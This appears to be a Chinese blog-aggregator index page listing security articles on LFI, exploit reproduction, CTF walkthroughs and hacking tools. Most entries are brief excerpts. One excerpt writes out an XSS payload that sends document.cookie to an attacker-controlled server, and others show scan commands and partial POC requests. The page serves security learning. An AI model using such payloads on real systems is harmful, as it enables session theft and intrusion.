LFI漏洞利用第4页

Weblogic安全漫谈(三)

本篇介绍coherence.jar中的漏洞利用链及后续绕过。经历2015到2018的3年迭代后，Weblogic的黑名单逐渐完善，废掉CC反序列化更是釜底抽薪。

杭州默安科技·2024-01-05 07:35

HackTheBox - Medium - Linux - BroScience

BroScienceBroScience是一款中等难度的Linux机器，其特点是Web应用程序容易受到“LFI”的攻击。

Sugobet·2024-01-04 22:31

2024 年加密货币领域需要注意的 5 大网络安全威胁

1.黑客攻击和漏洞利用加密货币交易所和各种去中心化金融（DeFi）平台在2023年都经历了多次黑客攻击和利用，例如MixinNetwork在9月份因黑客攻击遭受了近2亿美

FreeBuf_·2024-01-04 15:51

常见未授权访问漏洞详解

参考文章2：28种未授权访问漏洞（知乎）参考文章3：未授权访问漏洞总结（freebuf）参考文章4：常见未授权访问漏洞总结（先知社区）文章目录简介常见的未授权访问漏洞MongoDB未授权访问漏洞漏洞信息漏洞利用防御方法

poggioxay·2024-01-04 08:59

漏洞发现&利用工具

文章目录Web&框架层面操作系统&服务&中间件Web框架中间件插件浏览器插件-辅助&资产&漏洞库BurpSuite插件-被动&特定扫描漏洞利用-msf漏洞资源整理库查找库漏洞利用框架漏洞利用-杂乱工具-

过期的秋刀鱼-·2024-01-04 05:17

金和OA upload_json.asp存在任意文件上传漏洞

指纹识别fofa:app="金和网络-金和OA"漏洞利用poc:POST/c6/KindEditor1/asp/upload_json.as

3tefanie丶zhou·2024-01-04 03:00

金和OA c6 uploadfileeditorsave接口存在任意文件上传漏洞

系统升开发平台，电子政务一体化平台智慧电商平合等服务漏洞概述金和-c6uploadfileeditorsave任意文件上传，攻击者可通过此漏洞获取服务器权限指纹识别fofa:app="金和网络-金和OA"漏洞利用

3tefanie丶zhou·2024-01-04 03:59

金和OA SAP_B1Config.aspx存在未授权访问漏洞

指纹识别fofa:app="金和网络-金和OA"漏洞利用poc:/C6/JHsoft.CostEAI/SAP_B1Conf

3tefanie丶zhou·2024-01-04 03:29

网络安全：CTF入门必备之题型介绍

CTF题目类型一般分为Web渗透、RE逆向、Misc杂项、PWN二进制漏洞利用、Crypto密码破译。

程序学到昏·2024-01-03 17:16

常见的漏洞利用框架整理

一、常见的漏洞利用框架MetasploitFramework：一个广泛使用的开源漏洞利用框架，用于测试和评估系统的安全性。ExploitDB：一个在线漏洞利用数据库，包含各种漏洞的利用代码。

程序员_大白·2024-01-03 01:27

天融信TOPSEC安全管理系统存在远程命令执行漏洞

文章目录产品简介漏洞概述指纹识别漏洞利用修复建议产品简介天融信TopSec安全管理系统，是基于大数据架构，采用多种技术手段收集各类探针设备安全数据，围绕资产、漏洞、攻击、威胁等安全要素进行全面分析，提供统一监测告警

3tefanie丶zhou·2024-01-02 20:55

红队打靶练习:SAR: 1

目录信息收集1、arp2、netdiscover3、nmap4、nikto5、whatweb小结目录探测1、gobuster2、dirsearchWEBCMS1、cms漏洞探索2、RCE漏洞利用提权getuser.txt

真的学不了一点。。。·2024-01-02 07:40

《VulnHub》DC：1

49updated:2024-01-0112:46:50categories:WriteUp：Cyber-Rangeexcerpt:主机发现、目标信息扫描、漏洞扫描、网站指纹信息识别、网站目录扫描、drupalCMS漏洞利用

永别了，赛艾斯滴恩·2024-01-02 05:10

使用setoolkit制作钓鱼网站并结合dvwa靶场储存型XSS漏洞利用

setoolkit是一款kali自带的工具使用命令启动setoolkit1)Social-EngineeringAttacks1）社会工程攻击2)PenetrationTesting(Fast-Track)2）渗透测试（快速通道）3)ThirdPartyModules3）第三方模块4)UpdatetheSocial-EngineerToolkit4）更新社会工程师工具包5)UpdateSETcon

Myon⁶·2024-01-01 23:42

2023最全黑客工具合集（附github地址）

本文章集成了2023全网优秀的开源攻防武器项目，包含：信息收集工具（自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插件....etc...）漏洞利用工具（各大

我不是hack·2023-12-31 20:23

【开源黑客工具】2023全网最全黑客/网络安全工具合集（附github地址）

本文章集成了全网优秀的开源攻防武器项目，包含：信息收集工具（自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插件....etc...）漏洞利用工具（各大CMS

网络安全-无涯·2023-12-31 20:51

手把手教你安装Kali Linux

KaliLinux有一个友好的界面和易于使用的工具，可以帮助安全专家和渗透测试人员进行各种网络攻击和漏洞利用的测试。常用于做攻击主机使用。

鸢时望巧·2023-12-31 18:05

复现永恒之蓝提权漏洞

永恒之蓝漏洞利用了Windows操作系统中的SMB（ServerMessageBlock）协

鸢时望巧·2023-12-31 18:05

廾匸0705·2023-12-30 22:52

开发知识点-JAVA图形化-JavaFX

JavaFXJavaFX通用漏洞利用工具开发从无到无环境配置vscode配置JavaFXJavaFX基本程序结构创建项目新建一个包新建入口类（主类）新建（FX）label标签创建按钮JavaFX应用的Stage

amingMM·2023-12-30 14:27

Vulnhub靶机：DC-9

标签：SQL注入、本地文件包含LFI、端口敲门、hydra爆破、linux提权0x00环境准备下载地址：https://www.vulnhub.com/entry/dc-9,412/flag数量：1攻击机

z1挂东南·2023-12-30 00:32

Java代码审计系列之 JNDI注入

除了直接攻击RMI服务接口外（比如：CVE-2017-3241），我们在构造反序列化漏洞利用时也可以结合RMI方便的实现远程代码执行。我们在之前的课程中说到过动态类的加载，而jndi注入

风炫安全·2023-12-30 00:55

利用pearcmd.php本地文件包含（LFI）

利用pearcmd.php本地文件包含（LFI）一.前言pearcmd这个东西很久以前就已经复现过了，但是当时没有记录下来。

入山梵行·2023-12-29 22:30

科荣AIO UtilServlet存在任意文件读取漏洞

文章目录产品简介漏洞概述指纹识别漏洞利用修复建议产品简介科荣AIO是一款企业管理软件，提供企业一体化管理解决方案。

3tefanie丶zhou·2023-12-29 18:37

渗透测试和风险评估之间的区别

渗透测试通常包括以下步骤：信息收集、漏洞扫描、漏洞利用、权限提升和结果报告。渗透测试的目标是发现和修复系统中的安全漏洞，以提高系统的安全性。风险评估是一种被动的安全评估方法，旨在识别和评估系

德迅云安全-小娜·2023-12-29 15:32

漏洞复现（三）：Apache HTTP Server漏洞（CVE-2021-41773 - 目录穿越引起的文件读取与命令执行）

目录漏洞简介漏洞复现一.Vulnerablefilereadconfig（易受攻击的文件读取配置）环境搭建漏洞利用二、VulnerableRCEconfig（易受攻击的RCE配置）环境搭建漏洞利用漏洞修复漏洞简介该漏洞是由于

源十三·2023-12-29 13:32

python渗透工具编写学习笔记：8、无线网络渗透

目录前言8.1概念8.2无线网络发现8.3无线网络弱点分析8.3.1使用Scapy来探测无线网络8.3.2使用Aircrack-ng工具8.4无线网络密码破解8.5无线网络漏洞利用：8.6无线网络流量分析

Knight ELeven·2023-12-29 08:06

xstream 远程代码执行 CVE-2021-29505 已亲自复现

xstream远程代码执行CVE-2021-29505已亲自复现漏洞名称漏洞描述影响版本漏洞复现环境搭建漏洞利用修复建议总结漏洞名称漏洞描述XStream是用于将Java对象序列化为XML并再次序列化的软件

Bolgzhang·2023-12-28 20:27

thinkcmf 文件包含 x1.6.0-x2.2.3 已亲自复现

thinkcmf文件包含x1.6.0-x2.2.3CVE-2019-16278已亲自复现漏洞名称漏洞描述影响版本漏洞复现环境搭建漏洞利用修复建议总结漏洞名称漏洞描述ThinkCMF是一款基于PHP+MYSQL

Bolgzhang·2023-12-28 20:27

FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现未完成

FasterXMLJackson-databind远程代码执行漏洞CVE-2020-8840已亲自复现漏洞名称漏洞描述影响版本漏洞复现环境搭建漏洞利用修复建议总结漏洞名称漏洞描述受影响版本的jackson-databind

Bolgzhang·2023-12-28 20:26

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传PHPSESSION已亲自复现漏洞名称漏洞描述影响版本漏洞复现环境搭建安装thinkphp6漏洞信息配置漏洞利用修复建议漏洞名称漏洞描述2020年1月10日，ThinkPHP

Bolgzhang·2023-12-28 19:22

[渗透测试学习] Zipping - HackTheBox

文章目录信息搜集漏洞利用文件上传漏洞文件包含漏洞sql注入写入文件提权后记信息搜集用nmap扫一下端口nmap-sV-sC-p--v--min-rate100010.10.11.229发现有两个端口，22

_rev1ve·2023-12-28 15:42

pickle反序列化

__reduce__()`函数pickle过程详细解读opcode简介pickletools漏洞利用利用思路如何手写opcode工具pker实战例题[MTCTF2022]easypickle[HZNUCTF2023preliminary

_rev1ve·2023-12-28 15:12

Web安全测试实战指南，干货满满

结合具体案例进行讲解，可以让读者身临其境，快速地了解和掌握主流的漏洞利用技术与渗透测试技巧。阅读本书不要求读者具备渗透测试的相关背景，如有相关经验在理解时会更有帮助。

马士兵教育苹果老师·2023-12-28 14:57

HackTheBox - Medium - Linux - OnlyForYou

OnlyForYouOnlyForYou是一台中等难度的Linux计算机，其特点是Web应用程序容易受到本地文件包含（LFI）的影响，该应用程序用于访问源代码，从而揭示盲目命令注入漏洞，从而导致目标系统上的

Sugobet·2023-12-27 04:21

Nacos身份认证权限绕过+漏洞利用工具分享

一JWTJWT:JSONWebToken(JWT)是一个开放标准(RFC7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。在线解密查看内容：https://jwt.io/JWT的使用场景：1.Authorization(授权):这是使用JWT的最常见场景。一旦用户登录，后续每个请求都将包含JWT，允许用户访问该令

渗透测试老鸟-九青·2023-12-26 17:51

ActiveMQ漏洞合集

目录介绍CVE-2015-5254：ApacheActiveMQ任意代码执行漏洞漏洞介绍&环境准备漏洞发现Nuclei❌Vulmap✅漏洞验证漏洞利用CVE-2016-3088：ApacheActiveMQFileserver

lainwith·2023-12-26 13:30

用友U8CRM系统help2 任意文件读取漏洞复现

用友U8+CRM系统的help2文件中接口存在任意文件读取漏洞，攻击者在未登录情况下即可进行漏洞利用。

fly夏天·2023-12-26 12:27

用友u8-cloud RegisterServlet SQL注入漏洞复现

1.1漏洞级别高危1.2适用范围所有版本（截至到2023年11月前发布的）1.3快速检索fofa语法：title="u8c"1.4漏洞复现该漏洞利用非常简单，只需构造post请求POSTurl/servlet

fly夏天·2023-12-26 12:27

momentum2靶机

文章目录文章妙语前言一、信息收集1.IP地址扫描2.端口扫描3.目录扫描二，漏洞发现分析代码bp爆破1.生成字典2.生成恶意shell.php2.抓包三，漏洞利用1.反弹shell四，提权五，总结前言本文记录一个大学生如何辛辛苦苦升级打怪的奇异过程一

郑居中3.0·2023-12-26 11:19

红日靶场-2

目录前言外网渗透外网渗透打点1、arp探测2、nmap探测3、nikto探测4、gobuster目录探测WebLogic10.3.6.01、版本信息2、WeblogicScan扫描3、漏洞利用4、哥斯拉连接内网渗透

真的学不了一点。。。·2023-12-26 10:42

Windows漏洞利用开发——利用SEH绕过GS保护

实验6Windows漏洞利用开发6.1实验名称Windows漏洞利用开发6.2实验目的学习windows漏洞利用开发，使用kalilinux相关工具对windows内目标程序进行漏洞利用6.3实验步骤及内容第二阶段

Hellespontus·2023-12-26 09:44

Windows漏洞利用开发——利用ROP绕过DEP保护

实验6Windows漏洞利用开发6.1实验名称Windows漏洞利用开发6.2实验目的学习windows漏洞利用开发，使用kalilinux相关工具对windows内目标程序进行漏洞利用6.3实验步骤及内容第三阶段

Hellespontus·2023-12-26 09:44

Windows漏洞利用开发——简单栈溢出

实验6Windows漏洞利用开发6.1实验名称Windows漏洞利用开发6.2实验目的学习windows漏洞利用开发，使用kalilinux相关工具对windows内目标程序进行漏洞利用6.3实验步骤及内容第一阶段

Hellespontus·2023-12-26 09:13

Python安全之编写SQL注入漏洞利用脚本(EXP)

背景：最近护网在一次渗透测试过程发现了一处SQL盲注，在SQLMAP上跑了下居然没跑出结果，原因不明也没过多分析。于是自己写了个简单脚本作为测试。本例中以靶机DVWA中的盲注为例。实际工作中将脚本中的cookie、sql_payload、url以及请求方式修改成你实际环境中的就可以用了。最终执行效果如下：代码比较简单，值得一提的是怎么判断库名所有字符已经结束了，我用的是计数器。计数器num每次遍历

gaojian5422·2023-12-26 09:43

XSS漏洞利用——获取cookie

实验环境：DVWA实验步骤：一、在服务器创建一个1.php文件获取cookie值，并将cookie值写入1.txt中php代码如下：二、构造url，当用户打开url时自动将其本地cookie发送到1.txt中三、将代码和本地cookie进行拼接代码如下：document.location='http://192.168.1.101/xss/1.php?cookie='+document.cooki

没有如果ru果·2023-12-26 09:12

Windows漏洞利用开发——脚本编写与提权

实验6Windows漏洞利用开发6.1实验名称Windows漏洞利用开发6.2实验目的学习windows漏洞利用开发，使用kalilinux相关工具对windows内目标程序进行漏洞利用6.3实验步骤及内容第四阶段

Hellespontus·2023-12-26 09:42

如何使用PatchaPalooza对微软每月的安全更新进行全面深入的分析

它专为网络安全专业人员设计，可以帮助广大研究人员快速而详细地了解漏洞信息和漏洞利用状态等信息。获取到目标数

FreeBuf_·2023-12-25 20:55

log4j2原理分析及漏洞复现- CVE-2021-44228

lookup功能jndi解析器jndi是什么ldap服务RMI0x03攻击过程0x04漏洞复现漏洞环境1.访问靶机2.dns回显验证3.将bash反弹shell命令编码备用4.使用JNDIExploit进行漏洞利用

zkzq·2023-12-25 13:32

Linux Polkit权限提升漏洞复现&分析(CVE-2021-4034)

4034)一、什么是Polkit用法：Description：Return：二、Polkit权限提升漏洞漏洞状态：复现截图：漏洞描述：漏洞等级：影响范围：修复建议：安全版本：三、POC四、漏洞分析五、漏洞利用六

byzf·2023-12-25 07:22

推荐频道

LFI漏洞利用